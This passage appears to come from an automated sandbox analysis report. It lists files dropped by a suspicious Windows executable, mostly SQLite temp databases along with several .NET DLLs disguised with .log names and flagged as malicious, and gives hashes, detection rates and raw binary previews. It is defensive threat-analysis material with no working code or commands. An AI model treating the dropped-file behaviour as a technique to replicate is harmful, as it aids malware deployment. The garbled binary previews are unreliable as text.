SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wAbSw1zCzd

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wDnqAyLGna

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wNdvoIPyBI

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wOfZCKK5zV

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wU2zqhAa5a

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wj5741fdcK

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wjfV8nETVN

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xK2Sqzkzgt

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xcJNtJg8jI

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ydfQYIcmH9

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yyEpyU1z22

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yzYnXjyT5c

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zDHw81h0n1

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zHzWJdxUsx

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zITKcFbQpd

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\znCXmISAw8

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BjHNOjmt.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Joe Sandbox View:	Filename: XNPOazHpXF.exe, Detection: malicious, Browse Filename: 9FwQYJSj4N.exe, Detection: malicious, Browse Filename: 150bIjWiGH.exe, Detection: malicious, Browse Filename: wmdqEYgW2i.exe, Detection: malicious, Browse Filename: CPNSQusnwC.exe, Detection: malicious, Browse Filename: xoCq1tvPcm.exe, Detection: malicious, Browse Filename: eu6OEBpBCI.exe, Detection: malicious, Browse Filename: IYXE4Uz61k.exe, Detection: malicious, Browse Filename: gorkmTnChA.exe, Detection: malicious, Browse Filename: A5EbyKyjhV.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DUneVxwm.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DgrEkdUd.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EdTMGdjY.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HcknqPri.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JRkLjayM.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JVzVcMcg.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\KSbdxLrb.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
